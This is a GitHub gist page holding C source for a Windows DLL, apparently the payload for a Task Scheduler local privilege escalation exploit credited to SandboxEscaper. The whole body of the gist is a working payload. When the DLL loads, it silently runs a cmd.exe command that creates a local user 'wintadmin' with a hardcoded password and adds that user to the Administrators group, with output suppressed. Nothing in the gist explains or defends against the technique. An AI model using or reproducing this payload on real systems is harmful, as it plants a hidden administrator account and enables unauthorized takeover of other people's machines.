Skip to content

Instantly share code, notes, and snippets.

@NullArray
Created August 31, 2018 01:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save NullArray/d47a22fb9c5acd8cbd535c303848e31b to your computer and use it in GitHub Desktop.
Save NullArray/d47a22fb9c5acd8cbd535c303848e31b to your computer and use it in GitHub Desktop.
TaskSched payload.dll for LPE
#include <windows.h>
// All Credit goes to SandboxEscaper
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe /C net user wintadmin Password6789 /add && net localgroup administrators wintadmin /add >NUL 2>&1", 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment